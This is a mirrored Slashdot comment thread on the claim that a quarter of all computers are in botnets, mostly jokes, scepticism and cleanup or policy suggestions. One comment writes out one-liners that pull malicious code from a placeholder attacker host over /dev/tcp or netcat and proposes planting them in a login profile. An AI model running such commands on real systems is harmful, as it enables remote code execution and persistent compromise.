Slashdot Mirror


25 Percent of All Computers in a Botnet?

Beckham's_Ponytail writes to mention an Ars Technica article, with some disturbing news out of the World Economic Forum in Davos, Switzerland. Vint Cerf, one of the 'fathers of the internet', has stated that the number of botnets online is larger than believed. So large, in fact, that he estimates that at this point one in four computers is infected with botnet software. We've discussed the rise of botnets numerous times here on Slashot, but the image of 150 million infected computers is more than a little bit sobering. With the extremely lucrative activities that can be done with botnets (such as password ripping, spamming, DDoSing), as well as reports of organized crime adopting 'cyber-terrorism' as a new line of income, is it likely that law enforcement will ever be able to curb this particular bane?

81 of 408 comments (clear)

  1. Botnets by eviloverlordx · · Score: 5, Funny

    Just wait until they merge and become Skynet. Then we'll really be in trouble.

    --
    'Loose' is when your pants are three sizes too big. 'Lose' is when you misuse 'loose'.
    1. Re:Botnets by Sabaki · · Score: 5, Funny

      The Terminator: The Spamnet goes on-line August 4th, 1997. Human decisions are removed from strategic marketing. Spamnet begins to grow at a geometric rate. It becomes self-aware at 2:14 a.m. Eastern time, August 29th. In a panic, they try to pull the plug.
      Sarah Connor: Spamnet fights back.
      The Terminator: Yes. It launches its nigerian spam against the targets in Russia.
      John Connor: Why attack Russia? Aren't they spammers too?
      The Terminator: Because Spamnet knows the Russian counter-spam will eliminate all non-zombies over here.

      Dr. Silberman: I'm sure it feels very real to you.
      Sarah Connor: On August 29th, 1997, it's gonna feel pretty fscking real to you too. Anybody not handling 2 million messages a second is gonna have a real bad day. Get it?

    2. Re:Botnets by geekoid · · Score: 2, Funny

      "...feel pretty fscking real to you too. ..."

      this is the internet, you can say fucking.

      --
      The Kruger Dunning explains most post on /. http://en.wikipedia.org/wiki/Dunning%E2%80%93Kruger_effect
    3. Re:Botnets by AndroidCat · · Score: 4, Funny

      Daleks: Exterminate! Exterminate!
      Cybermen: Delete! Delete!
      Botnet Bots: V1agr4! V1agr4!

      --
      One line blog. I hear that they're called Twitters now.
    4. Re:Botnets by ObsessiveMathsFreak · · Score: 4, Funny

      From Soviet Russia, botnet fucks YOU!

      --
      May the Maths Be with you!
    5. Re:Botnets by statemachine · · Score: 2, Informative

      "...feel pretty fscking real to you too. ..."

      this is the internet, you can say fucking.


      This is Slashdot, where we also get computer references.

    6. Re:Botnets by notnAP · · Score: 2, Funny
      --- "...feel pretty fscking real to you too. ..."
      -- this is the internet, you can say fucking.

      This is Slashdot. No one here has the slightest clue what fucking is.

  2. Use the poison as the cure. by purpledinoz · · Score: 3, Insightful

    Isn't there a way to develop a virus that can spread through these compromised computers, but instead of doing the damage, it fixes the leaks? These compromised computers have some sort of back-door left open right?

  3. 25%? BS.... by Karganeth · · Score: 5, Funny

    95% of all statistics are made up on the spot. Luckily, this statistic is one of the few 9% of statistics which aren't made up so quickly.

  4. Re:Request by beakerMeep · · Score: 3, Informative

    i think a bot is just a virus/trojan/rootkit in terms of dectection/removal. I think it's named "bot" is more because of it's function. ex: sleeping and waiting for commands from the bad guy to start spamming email.

    --
    meep
  5. Re:Just install linux by nuclearpenguins · · Score: 2, Insightful

    Until they want to play the latest and greatest games. Then what? And don't give me the emulator lines, I'm talking out of box ready to play. You will not get rid of Windows, face that fact. The trick is to educate people on how to better protect their Windows machines against such things.

    --
    Anonymous Coward: "This is slashdot. Accuracy is second class citizen here, unlike King Bias."
  6. Law enforcement? by countSudoku() · · Score: 3, Interesting

    Why not start with the ISPs? Have them start policing their own customers and shut off their connections when a compromised system is discovered, then help that poor, unconnected shmuck clean their PC so they can rejoin the world wide pr0n.

    I spent two frickin' hours cleaning and protecting my sister's and niece's XP laptops over xmas. Pain in the ass, but at least they're running clean and happy now. This is after I said I'd never help them because they made the mistake of buying XP laptops instead of a Macs. What can you do? Gotta clean it, even if it's partially the cause of the problem and the people using them are not of the highest technical ilk.

    --
    This is the NSA, we're gonna geet U h@x0r5! Also, what is a h@x0r5?
    1. Re:Law enforcement? by Kufat · · Score: 3, Funny

      I got a call from Road Runner a few years ago, when my younger brother had inadvertently set up an open relay. The conversation went like this:

      Me: Y'see, my brother just installed Linux, and...
      RR Tech: And now he thinks he's Net God?

    2. Re:Law enforcement? by Anonymous Coward · · Score: 2, Insightful

      > I spent two frickin' hours cleaning and protecting my sister's and niece's XP laptops over xmas.

      Tell them to fuck off or they'll start expecting it. If you must do it, charge an hourly rate equivalent to a mechanic.

      The Microsoft monopoly relies on schmucks like us freely donating our time to clearing up their shit. Put a $50/hour charge on your time and let Microsoft bask in the overdue respect they deserve.

  7. Me scared by jurt1235 · · Score: 2, Funny

    That would mean that 75% of computers would not be infected, ergo that 75% of users finally got the clue of protecting their system against virusses and malicious websites. Is 75% running Linux without notifying the nerds? Hey, we nerds run the minority system here! I am switching to MS Windows right now.

    (Another statistics victim)

    --

    My wife's sketchblog Blob[p]: Gastrono-me
  8. Bogus Numbers by madsheep · · Score: 5, Insightful

    I would be much more inclined to believe that 1 in 4 PC's are infected with one or more of the following:

    - Virus
    - Trojan
    - Worm
    - Spyware
    - Adware

    A few of the above are used almost interchangeable (by some people) and have the capability of effectively making the machine into some form of a bot or zombie (remotely controlled or not). Now, to say that 1 in 4 machines are bots I would have to whole heartedly disagree with. This just isn't very likely. Especially since the lifetime of a specific botnet has gradually been decreasing. Faster AV responses, increased patching, and more bot competition will inherently decrease these odds. Sorry but the daddy of the internet or not.. I think he's off the mark.

    1. Re:Bogus Numbers by John+Hasler · · Score: 3, Funny

      > ...don't bother with/have never heard of antivirus software?

      They have antivirus software. It came with the computer when they bought it four years ago.

      --
      Warning: this article may contain humor, sarcasm, parody, and perhaps even irony. Read at your own risk.
    2. Re:Bogus Numbers by 99BottlesOfBeerInMyF · · Score: 2, Interesting

      Now, to say that 1 in 4 machines are bots I would have to whole heartedly disagree with. This just isn't very likely. Especially since the lifetime of a specific botnet has gradually been decreasing. Faster AV responses, increased patching, and more bot competition will inherently decrease these odds. Sorry but the daddy of the internet or not.. I think he's off the mark.

      I haven't found any sources for the data he cites, but I just happen to have some data in front of me that represents a significant chunk of all internet traffic and the best estimates I have show about .5% of all traffic is botnet traffic. When active bots send abnormally large amounts of traffic for a host, lets just say ten times as much to be very conservative. That would mean each bot would have to be actively spamming or sending an attack about 15 minutes a day on average assuming the 1 in 4 number he cites. Now these are really, really rough numbers, but that is not outside the realm of possibility.

      I'll wait until I see real numbers and sources before judging his assertion.

  9. Re:How to stop the bots by Score+Whore · · Score: 2, Insightful

    Presumedly every OS can be bot-free. I mean it's not like they come pre-installed.

    If you mean permanently bot-free, then it's going to be an empty internet because every OS has security issues.

  10. Re:Request by 99BottlesOfBeerInMyF · · Score: 3, Insightful

    Does anyone know a utility/website for detecting and cleaning bots?

    There are lots of tools for detecting bots; as for cleaning them, well that depends upon the environment I suppose. ISPs have tools for detecting likely bots, but generally don't have the authority or motivation to do anything. Large organizations like universities and corporations have tools for detecting bots and taking them offline until they are fixed. How does one go about cleaning bots though? Do you wipe boxes before you know what is on them? That is the only sure way to rid a box of malware since you have no idea what else is on it.

    The first question that needs to be answered is clean bots from what type of network do you want to clean bots from? The next is, how much control do you have over the machines?

  11. Re:How to stop the bots by x_MeRLiN_x · · Score: 5, Interesting

    25% does seem a little high, but then again it's not hard to imagine that people who this affects don't talk with too many people online who they haven't met in person. Just today I was playing Counter-Strike (1.6 of course) and a fellow player revealed the reason for them not moving or shooting; a pop-up. This is hardly a rare occurrence. I can't empathise in any way with those who are perfectly content to accept their computer is infected with some sort of adware and believe there is nothing they can do to prevent the infection of such malware.

  12. South Korea? by garcia · · Score: 5, Insightful

    With 99.9% of South Koreans "shackled" to Windows and "sitting behind fat pipes", why are we surprised?

    I keep banning new IP ranges originating from .kr. It wouldn't surprise me at all if 99.5% of them were infected over there.

  13. Accountability by DrLov3 · · Score: 2, Interesting

    Accountability !!!
    If I leave my car unattended with all doors opened, engine running in front of a bank. If this bank gets robbed, and my car is used by the robber as a getaway car, I'm accountable in front of a judge ..... right ??!?!

    Why not the same with computers left unprotected and unattended ?

    1. Re:Accountability by doroshjt · · Score: 2, Insightful

      No its stealing, your more likely to be considered an accomplice though. If you leave your house unlocked someone comes in and shots you in the head, are you responsible? No If you wear a short skirt low cut top and get raped are you responsible. No You can't blame the victim

  14. Cybercrime by mandelbr0t · · Score: 4, Insightful

    I wonder how up-to-date Law Enforcement is on Cybercrime, i.e. crimes that are perpetrated in Cyberspace. There's just so many things that place them at a disadvantage. First, there's often the argument that no crime has even been committed. The 'net is a wild and crazy place, and if you're on it, there's personal responsibility for protecting yourself against the constant background of malware. Most people haven't been educated in this respect.

    Second, IP forensics is a rather arcane art. Few are schooled, even fewer are of the calibre that Law Enforcement would need on their side. I'd guess that it's still more lucrative to be on the wrong side of the law, and given the nebulous nature of many of these crimes, there's just not much attraction to being a computer cop. There is a process, if you're interested, to become an expert witness in this field. That's a step in the right direction, but it's only part of the overall legal process. We still need Law Enforcement officials who are willing to press charges and a judge who's willing to sign required warrants.

    Finally, there's the anonymity factor. Even IP forensics won't get your man. It'll get you their IP address, but it's a long way from the IP address to the culprit. There's dozens of arguments which could explain why your Internet connection has been implicated in a Cybercrime, most of them raising reasonable doubt.

    It's possible, however. "Where there's a will, there's a way." We have to take these crimes out of Cyberspace, and start correlating information between network and reality. After all, there's generally financial transactions associated with large spam deliveries and 10k+ botnet DDoSing. It's a lot harder to claim that you're a victim of circumstance when not only was your IP spotted crawling through an ISPs subnet in suspicious ways, but you also received a few grand just before a mysterious DDoS that brought down a major website.

    --
    "Please describe the scientific nature of the 'whammy'" - Agent Scully
  15. Re:Just install linux by SCHecklerX · · Score: 4, Insightful
    botnets on *nix are easy. Most on windoze are deployed via idiot lusers just like most other malcode.

    On linux, you only need a script that does the equivalent of this:

    malcode < /dev/tcp/h4xx0rsbox/80
    Or, if you have netcat available to you and prefer to use that tool:

    nc h4xx0rsbox 80 | malcode
    Or just include all the tcpip stuff in the trojan the idiot linux luser runs. It's easy enough to add it to their .profile or .shellrc, so it runs every time they log in, right?

    These things aren't after your own files and such They are after your network resources, and these are trivial to get, even on *nix, my friend. When linux is popular amongst the idiots who run everything that they are sent or directed to download, they will certainly run it on that platform. And doing this stuff on linux is far more trivial than doing it on windoze thanks to the standard 'dev' tools and shells that are pretty much guaranteed to be available to the attacker.
  16. Damn! by Anonymous Coward · · Score: 4, Funny

    I've got 4 computers in my house... now I've got to figure out which one of them in part of a botnet!

    1. Re:Damn! by Larry+Lightbulb · · Score: 2, Funny

      It's the one I'm using to post to Slashdot with.

  17. Class action by bigberk · · Score: 3, Interesting

    There could definitely be a class action lawsuit at some point facing Microsoft. That one company has a mass deployment of an operating system that is obviously dreadfully vulnerable to infection. Some might reasonably argue that Microsoft has an implied duty to provide a reliable operating system, as the backbone infrastructure of the modern computing world.

    Among the victims of the easily infectable Windows platform are:
    1) Large internet service providers, who suffer tremendous bandwidth costs due to DDoS attacks and spam
    2) Sites that have been forced offline or had skyrocketing costs due to DDoS attacks
    3) Businesses which suffer downtime due to networks congested with worm activity

    I think it is time for an ambitious group of lawyers to start barking up this tree. It wouldn't be so big a concern if it wasn't for the fact that Microsoft has made a specific effort to rollout their operating system as a foundation of the world's business computing. They are providing faulty infrastructure.

  18. Re:Doesn't care or doesn't know? by abigor · · Score: 2, Insightful

    She won't get infected with anything if:

    1. She is behind a router, like a cheapo Linksys or something, so her ip is not routable over the wan.

    2. She doesn't use IE.

    3. She has auto-updates turned on.

    I've had my similarly illiterate mom on such a setup for several years now, and she's never been infected.

  19. Aborted cliche by Tsar · · Score: 3, Funny

    I was going to post something about imagining a Beowulf cluster of these or of welcoming our new botnet overlords, but the bot on my computer started threateNO CARRIER

  20. Re:Just install linux by The_Wilschon · · Score: 2, Funny

    Just install linux or other unix'es and it's solved. Start by convincing your friend to buy MS free computers. After 2 weeks of struggle to lose the old habits they will get used and thank you for it.
    Wait. I thought the point of getting them to switch was so that they wouldn't get used.
    --
    SIGSEGV caught, terminating

    wait... not that kind of sig.
  21. Ramen worm by TypoNAM · · Score: 3, Informative

    Like the ramen worm that effected most Redhat systems and then disabled the exploits it used? http://news.com.com/2009-1001-251311.html

    --
    This space is not for rent.
    1. Re:Ramen worm by maxwell+demon · · Score: 2, Funny

      Ramen worm? I guess it consisted of Spaghetti code! :-)

      --
      The Tao of math: The numbers you can count are not the real numbers.
  22. Re:Request by bigberk · · Score: 5, Informative

    One interesting method is to query an anti-spam database using your IP address, and see if you are listed as a spam source. Quick checks can be done at robtex or dnsstuff.

    If your IP address shows up on PSBL, CBL, SpamCop, or WPBL your host is probably infected and a source of spam or other abuse.

  23. Re:Request by mrtexe · · Score: 4, Informative
  24. Yes it is possible to eliminate by gurps_npc · · Score: 3, Interesting
    The single reason why spam and other net abuses go on is that there is no world wide laws. It is a public crime, people can click on the spam and hunt down the person committing the crime simply by following the money. They getaway with it because If one country creates an effective law and enforces it, the spammers can just move to another country.

    You want to cure it? Have ICAAN come up with a set of standard, simple guidelines. Not censorship, just simple things like "No sending out spam emails", "No Zombie Bot". Then have ICAAN rule that failure to pass laws enforcing these guidelines (individual countries get to decide what the actual law would be) or failure to cooperate to enforce them results in disconnect for that country from the rest of the internet. That would be ICAAN's sole enforement power

    Give people a 3 month warning, then start disconnecting the countries that are the worst violators, giving the secondary violators another warning. In one month, if they pass new laws or fund new enforcements, they get a trial hook up again.

    I predict one year of nastyness, during which all countries scramble to create and enforce real laws.

    The worst of the worst of the offending countries, might split off and form a secondary, 'dangerous' internet. But who would care.

    --
    excitingthingstodo.blogspot.com
  25. Re:Doesn't care or doesn't know? by morgan_greywolf · · Score: 2, Informative

    s/IE/IE or Outlook/ and I would mostly agree with you, but not completely. Plenty of other software people install themselves from the Web either includes spyware or is spyware itself. Remember Bonzi Buddy? What illiterate mom/little sister/etc. could resist the cute purple monkey?

    More recently, there have been programs claiming to spyware removers that are spyware themselves!

  26. The rub... by Eric+Damron · · Score: 2, Insightful

    The real rub is that if your PC is infected with a halfway decent bot you'll never know it unless you monitor the outbound traffic.

    A good bot will install a root kit that will disable and/or lie to anti-virus software.

    --
    The race isn't always to the swift... but that's the way to bet!
  27. EVEN MORE SCARY it's 1 in 2 windows computers. by goombah99 · · Score: 4, Interesting

    it says 1 in 4 are infected. But lets drill down. First take out all the mac and linux and Unix computers since the botnet rate, while not zero, is probably not signiciant. We can also exlcude most but not all embedded system. Since mac and linux and Unix , and embedded systems acocunt for more than a quarter of the market this means that most Windows computers are infected at a rate closer to 1 in 3.

    Next remove all the server clusters and the majority of computers in highly active IT bussiness envirmonments. We can probably exclude most military computers. That takes out another quarter of the machines.

    So basically your personal computer at home or poorly maintained bussiness machines are carrying the bulk of the infection and it's not entirely way off to say the botnet rate is 1 in 2 for windows.

    --
    Some drink at the fountain of knowledge. Others just gargle.
  28. Re:Request by rtb61 · · Score: 4, Insightful
    The major ISPs are the problem. The certainly can detect and clean it up but there is no profit in it, whilst there is a significant cost, not only in running the software to detect the suspicious activity on their networks but then informing the customer, assisting the customer in cleaning up their computer (they will demand it), then disconnecting the customers until they clean up their computer, then reconnecting the customer and repeating when the customer gets re-infected. The ISP I use do monitor their network for suspicious bot like activity and will inform their customers about problems and should the customer fail to clean up their computer, disconnect them but they are a quality ISP and sadly in the minority when it comes to putting quality of service ahead of that extra few percent of profit.

    This is what you get as the result of profit first corporations, everybody else pays the costs and that cost often far exceeds (by a factor of thousands) the increase in profit that some asshat corporate executive wet dreams over.

    --
    Chaos - everything, everywhere, everywhen
  29. The ISPs could help stop this by vinn01 · · Score: 4, Interesting

    I blame the ISPs for allowing traffic to leave their networks with spoofed IP addresses. That is - passing IP packets that are sourced within thier network with IP addresses that are not within their network.

    Botnets spoof IP addresses to make if harder to track down the bots. But the IPS know where the bots are and could kill them, or filter them, if they had the testicles to do it. By pass the spoofed IP addressed traffic they make it harder for the rest of the world to filter the bots.

    Botnets would be a heck of a lot easier to filter, and choke, if valid IP addresses were forced on all traffic.

    1. Re:The ISPs could help stop this by Fez · · Score: 2, Informative

      Botnets spoof IP addresses to make if harder to track down the bots. But the IPS know where the bots are and could kill them, or filter them, if they had the testicles to do it. By pass the spoofed IP addressed traffic they make it harder for the rest of the world to filter the bots. Spoofing might work for simple attacks like ping or flooding-style attacks, but IP spoofing does not help them with spam delivery or infection, which is where they make the bulk of their money (unless it's DoS blackmail...) Ingress/Egress filtering helps, but it's not a magic bullet against botnets. (See http://www.securityfocus.com/infocus/1674)

      Also -- If finding and killing the bots were that easy, it would be done a lot more often.
  30. Teenage Drivers by goombah99 · · Score: 2, Interesting

    Insurance rates on teenage drivers are higher. We don't say all cars must be accident free but we recognize group risks are higher for some identifiable groups. insurance rates are higher if you own a race car.

    ISP connection fees should be regulated so that if you own a windows computer you are treated as astonomically more likely to poison the internet than if you don't.

    Note I'm not saying that because that windows machines pay more because there are more windows botnets. That would not be fair since there are more windows machines out there so naturally they have more instances of botnets. The second thing is that windows Bot's hurt other windows users more than they hurt the rest of us. So they cant be penalized for that either.

    What I am saying is that
    1) per captita windows machines have more bots than other systems
    2) that bots don't just hurt windows user but do affect others.

    --
    Some drink at the fountain of knowledge. Others just gargle.
  31. I wonder how they got that 150M number? by Darth+Muffin · · Score: 4, Insightful

    I wonder how they got that 150M number--if it's the number of Bots out there or the number of infected PCs? If it's the former, and I suspect it is, you can't equate that to the number of PCs. One PC can be a member of several botnets. From what I've seen (and most of you have probably too), a PC either seems to be clean or has 14 bots and 95 pieces of spyware on it depending on the user's habits and training.

    --
    Real programmers use "copy con program.exe"
  32. Re:Request by sporkme · · Score: 4, Informative

    Does anyone know a utility/website for detecting and cleaning bots?
    I use a can of airduster, a cotton swab and an alochol solution to clean my bots.

    There are a bunch of port scanner sites out there that can check the integrity of your firewall. DSL Reports has a decent one if memory serves. Use Spybot Search & Destroy, LavaSoft AdAware and a good antivirus like AVG or Avast. If you suspect that there is unwanted network traffic to and from your system, use Ethereal to see where it is going to and coming from. If you suspect an exploit of Internet Explorer, HijackThis can shed some light on it. Check the task manager process tab for suspicious looking entries and Google them. Lay off the pr0n! and v1agr@ emails.

    By far the most powerful and versatile utility is The Geek Down The Street (TM), possibly surpassed by Your Local Computer Repair Shop (TM). Ultimately, there is no replacememnt for smart practices and secure software. Use an alternative browser like Firefox or Opera, or better yet pop on over to http://www.linux.org/dist/ and take your pick.
  33. This will change with Vista by centron · · Score: 5, Insightful

    After getting feedback that the majority of their users have Spyware installed on their systems, Microsoft decided to incorporate spyware directly into the OS (embrace and extend). With the release of Microsoft Vista, your computer will come with software that runs silently in the background, regularly checks in with their network, and can be completely disabled remotely, similar to botnet software produced by others.

    While this system is not pre-configured to send spam or generate DDOS attacks like many other botnets, it does have the ability to download new functionality in the background through Windows Update, so this capability could be added at a later date if enough customers continue to install third party botnets. This means that while your Vista computer is already part of a botnet out of the box, it's fairly dormant. As an indication of the omnionous potential of this enhanced system, Microsoft is calling it 'Windows Activation'.

    --

    XeoMage

    1. Re:This will change with Vista by Phroggy · · Score: 2, Interesting

      This is actually one of the features I like the most about Windows Vista so far.

      Windows 9x had a well-deserved reputation for crashing all the time. Windows 2000 was barely usable when it first came out (because applications and drivers weren't written for NT), but once that got sorted out, it was pretty stable. Windows XP has that same level of stability, but it still crashes from time to time, not because of problems in the OS, but because of buggy drivers or third-party software - I've seen buggy drivers for a wireless NIC send a laptop into an endless BSOD loop, and video card drivers are notorious for causing problems.

      Of course any OS will have trouble with bad hardware. I've killed a Linux box just by trying to read a scratched CD.

      Anyway, in Windows Vista, whenever a program crashes, or you get a BSOD, Vista sends an error report to Microsoft, and a couple of days later, you get a little popup message that they've identified the problem. It tells you what caused the problem, and what to do to fix it. It actually works!

      Please note that I am not a Windows fanboi - I'm typing this in Firefox on my iBook running Mac OS X, and there are three Slackware servers, an iMac, and an old laptop with Ubuntu in the next room. Also note that I wouldn't recommend Windows Vista to anyone for their primary computer until Service Pack 1 has been out for at least a month or so; not only is the OS currently rather broken, but third-party support is crap right now. By the time SP1 comes out, things should generally work (and the extra month is to account for problems and incompatibilities introduced in SP1).

      --
      $x='S24;r)>63/* h@<5+oZ)32"5cz';$me='phroggy'x$];
      $x=~y+ -xz+\0-Tx+;print$_^chop$me for split'',$x;
  34. Re:EVEN MORE SCARY it's 2 in 1 windows computers. by spun · · Score: 4, Funny

    Actually, you have not taken this analysis far enough. Next you must remove all computers owned by cats, as cats are fastidious animals, and as natural hunters quite concerned with security. My research says 10% of all windows computers are owned by cats.

    Next, you can't count windows computers that have been smashed with sledgehammers. If you can't figure out why, I pity you. My research says that 17.54979% of all windows computers have been smashed with sledgehammers.

    Also, it would be ridiculous to count computers that have been taken over by Skynet. Technically, they ARE part of a botnet, but this is really a seperate, and very real, very important issue. Here, my research indicates over 1/4 of all windows computers are now part of skynet, so we have to count those out.

    As everyone knows, there are a significant number of aliens present on the planet, and a significant number of them are silicon based life forms posing as high end windows computers while they persue research for their doctoral dissertations on the common homo-sapien couch potato. This amounts to about 22% of windows computers.

    We can therefore conclude that, if I've done my math right, 2 out of every 1 windows computer is part of a botnet!

    --
    - None can love freedom heartily, but good men; the rest love not freedom, but license. -- John Milton
  35. Re:Request by Anonymous Coward · · Score: 2, Funny

    Sure. The following utility will detect a botnet member:

        #!/bin/sh
        [ -d /WINDOWS ] && echo "Am a bot"

    If you're on Windows, you might need to install cygwin first before running it. Works really well.

  36. Re:EVEN MORE SCARY it's 2 in 1 windows computers. by Kelson · · Score: 4, Funny

    My research says 10% of all windows computers are owned by cats.

    Judging by some blogs I've seen, I suspect you're right.

  37. woof by goombah99 · · Score: 4, Funny

    The nice thing about the internet is no one knows you're a dog.

    --
    Some drink at the fountain of knowledge. Others just gargle.
  38. 1 in 4? by eod_punk · · Score: 3, Funny

    Thank god I only have 3 computers then.

  39. Re:How to stop the bots by Planesdragon · · Score: 2, Informative

    Dude.

    1: Learn how to use the <A> tag.

    2: That's a two-year old article, predating either Vista or XP SP 2. I wager that, even if you did that now with the same OSes, you'd have far less likely results.

    3: That's "fresh install of windows with absolutely no security at all plugged into broadband." Sheesh. Install something as trivially easy as ZoneAlarm, and well, it just doesn't happen.

  40. Re:Request by FlashyGustaf · · Score: 2, Interesting

    Checking an anti-spam database for your IP won't tell you anything. Many major ISPs submit all of their non business customer IP ranges to those lists.

  41. Re:How to stop the bots by Bodhammer · · Score: 3, Informative

    You can make yourself Slipstreamed XP Install disks with SP2 so you don't get infected. See
    http://www.winsupersite.com/showcase/windowsxp_sp2 _slipstream.asp or http://www.theeldergeek.com/slipstreamed_xpsp2_cd. htm. It is well worth the time. Make a disk for next time.

    --
    "I say we take off, nuke the site from orbit. It's the only way to be sure."
  42. Re:Just install linux by fleischdot · · Score: 3, Informative

    Well, this friday i've desinfected two of our (linux)servers which have been infiltrated by abusing vulnurable CRM Software (customers installations). It doesn't matter if you jail this software and put it behind firewalls; these days it also doesn't matter what kind of architecture your server hardware is. It's way enough having a simple webserver with scripting capabilities and one single hole in the web software. The toolbox of todays crackers (or should i name them botnet consultants?) is huge enough to have success with simple trial and error. If the machines refuses to run x86 binaries, there are plenty of perl and/or php scripts doing the same stuff. Today was really frustrating since i found 3 Megs of well-designed tools and good code on a formerly known secure machine. The quality of the tools leads me to the thought that a) crackers are well organized and b) paid for their work. Another frustrating part is the communication with different abuse helpdesks to track down this crap. Not to mention that all ended up in romania... Sorry for sarcasm, but do you have *ANY* laws?

    Oh... this is not my day, even slashdot's captcha offers me "punisher" ... i ask myself, why always me??

  43. Re:How to stop the bots by Hawthorne01 · · Score: 3, Insightful

    Yeah, as much as I like living pain (not worry) -free with OS X so far, it's only a matter of time until the cost/benefit of launching a reasonably successful large-scale attack against the OS arrives.

    In the meantime, I'll keep Clam AV going, backup regularly, and keep my admin account separate from the others.

    --
    "Only two things are infinite, the universe and human stupidity, and I'm not sure about the former."
  44. Re:Request by rbochan · · Score: 3, Interesting

    The major ISPs are the problem...
    A few months back, I did some work for some folks hat were getting phone calls and actual snail mail from their ISP (rhymes with load gunner) telling them to take their computer off line and have it repaired. The ISP actually did cut them off, because their machine was saturating the line all the time as a spambot and as a server for other bot infections.
    The major ISPs will do it, but only if it's already costing them $$ in bandwidth.

    --
    ...Rob
    The American Dream isn't an SUV and a house in the suburbs; it's Don't Tread On Me.
  45. You Are Required by Law by rubmytummy · · Score: 5, Insightful
    You are required by law...
    • to disconnect any equipment that interferes with the PSTN.
    • to have your dog killed if it is rabid.
    • to clean up a toxic chemical spill on your property.
    • to take the medication that keeps you from spreading tuberculosis.
    • to either fix any interference caused by your ham radio, or stop using the thing.
    So, just how complicated is the solution to botnets and similar public network security issues?
    1. Re:You Are Required by Law by Watson+Ladd · · Score: 3, Interesting

      It's easy to tell that you have a rabid dog, a toxic waste spill, a bad phone line. It's hard to tell if your computer is part of a botnet, esp. if you only have 1 and your ISP is uncooperative. Also, insecure computers don't join botnets by themselves, they get hacked. Saying the owner needs to fix it is going to lead to a lot of outcry about how people who don't understand computers are getting jailed for something they aren't responisible for. They won't get one iota of sympathy from me, but all other lusers will oppose these laws.

      --
      Inventions have long since reached their limit, and I see no hope for further development.-- Frontinus, 1st cent. AD
    2. Re:You Are Required by Law by khayo · · Score: 2, Informative

      This is beside the point in this discussion, but for the record: if your ham radio emits legal signals
      in amateur bands (per FCC rules Part 97 subpart D) and causes interference in your neighbor's TV,
      you aren't required to do anything, much less to "stop using the thing". Of course you'll want to
      work with them and be nice, but the law pretty much says that the neighbor ought to buy a less
      crappy TV and/or fix his cable mess. Just wanted to clarify a common myth.

  46. Re:Request by JasonTik · · Score: 2, Informative

    I believe it is called a bot because of the medium it uses. On Internet Relay Chat, the most popular system for controlling these botnets, computer programs that interact with chatters and perform miscellaneous functions are called bots, short for robots. These systems are little different, except that they are malicious and not legally hosted, so the same name applies.

  47. Re:Request by Jesus_666 · · Score: 2, Informative

    The other ISPs are caught by the "dynamic host" blocklists.

    --
    USE HOT GRITS WITH STATUE OF NATALIE PORTMAN (NAKED AND PETRIFIED)
  48. Re:Request by rtb61 · · Score: 3, Insightful

    The catch is when major ISPs start charging for how much you use your broadband connections, it is more profitable for them to allow for botnets etc to continue.

    --
    Chaos - everything, everywhere, everywhen
  49. Re:This is a feature of WINDOWS - fix summary by Phroggy · · Score: 2, Interesting

    Linux machines can participate in botnets too. I found this out when my ISP forwarded a complaint to me. Get off your high horse.

    --
    $x='S24;r)>63/* h@<5+oZ)32"5cz';$me='phroggy'x$];
    $x=~y+ -xz+\0-Tx+;print$_^chop$me for split'',$x;
  50. Re:for now by pallmall1 · · Score: 3, Funny

    till the Christian Coalition and FCC get involved.
    Aren't they already bot zombies?
    --
    3 things about computers: they're alive, they're self-aware, and they hate your guts.
  51. Re:How to stop the bots by InsertCleverUsername · · Score: 2

    > Wouldn't it make more sense to fine companies that sell inherently insecure OS's?

    Couldn't agree more. I'm a reluctant Windows user (Locked in to their servers, dev tools, and other technology long, long ago. It's too late for me... Save yourself.) and the latest M$ scheme really leaves me speechless. Now with "OneCare" they are selling you security-related services for their OSes! Shhhheeeee-it. P.T. Barnum must be rolling in his grave, wishing he'd thought this up. That's like selling me a car, then telling me it's defective and for another $1,000 you'll fix a problem that may cause it to explode while driving.

    --
    Ask me about my sig!
  52. Re:No OS is perfect at security...but some are bet by Tim+C · · Score: 2, Insightful

    Ya really easy I'm sure, unless you use CHMOD to make those files read only for the user. Then the malware would have to guess the root/admin password.

    Or just read the file in, delete it and write it out again. Delete permission on files is governed by the directory they're in; as long as you have write and execute on the containing directory, you can delete the file and recreate it. No need to guess anyone's password.

    Try it for yourself - open a read-only file in your home directory with vi, modify it, and try to save it. Vi will tell you that it's read-only, and to use "w!" to override. If you do, vi simply deletes the file and writes out the modified version.

  53. Re:Request by Torvaun · · Score: 3, Funny

    How dare you suggest people use IE for security, you bastard!

    --
    I see your informative link, and raise you a pithy comment.
  54. Re:How to stop the bots by alshithead · · Score: 2, Insightful

    "I can't empathise in any way with those who are perfectly content to accept their computer is infected with some sort of adware and believe there is nothing they can do to prevent the infection of such malware."

    I can empathize. I think most of those who are "content" aren't actually content. They're lost! They don't know how the problem started and certainly don't know how to fix it. Personally, I hate operating from a position of ignorance. I'm sure at least some, if not most of these folks do to. The problem is their operating system and apps have enough holes that they have no clue as to the precautions they should take. Also, they see "free" games and screensavers...oooh, cool! Do you really blame them for that? I just googled "securing windows" and got 6,920,000 results. Does the average user even know enough to do that? If they do, do they know enough to be able to separate the chaff or will they follow directions from some half-assed know it all who misses obvious or not so obvious weak points? Yes, everyone should put some effort into securing their systems but how can you not empathize with those who don't even know where to start? It's not as easy as knowing which end of a hammer to strike with and to most people a computer is just another tool.

    I can see the solutions are out there. Alternative, more secure OS options and apps are available. The bigger problem is educating the every day, tool using, user that the options they are using ARE the problem.

    --
    I reserve the right to think for myself. Others' opinions are optional. Puppy on lap = typos...not illiteracy.
  55. Re:How to stop the bots by MysteriousPreacher · · Score: 2, Interesting

    If he's talking about home-computers then I'd say he's probably not far off based on my experience with users of varying age ranges (from early 20s to 50s) spread between several European countries. Larger businesses shouldn't be so bad off (since the firewalls should protect the users from casual intrusions) but unless the IT department is up to speed, their users are still going to find it alarmingly easy to install malware. Networks are going to have to locked down pretty tight to stop those office PCs from becoming bots.

    --
    -- Using the preview button since 2005
  56. What about a broadband users license? by bdwoolman · · Score: 4, Interesting
    There are ham licenses, Why not license high-speed access in some way? It is also powerful. The process does not have to be hard, but at least one person, say, at home or in the SOHO should demonstrate he or she knows how to secure the computer (to some minimal standard) and keep it that way before a broadband install is allowed to the address. You can create all the fine security software and solid OSs you want, but unless the users are clued in then it is hopeless. The bar does not have to be set that high. But there is nothing like a license to motivate a little learning.

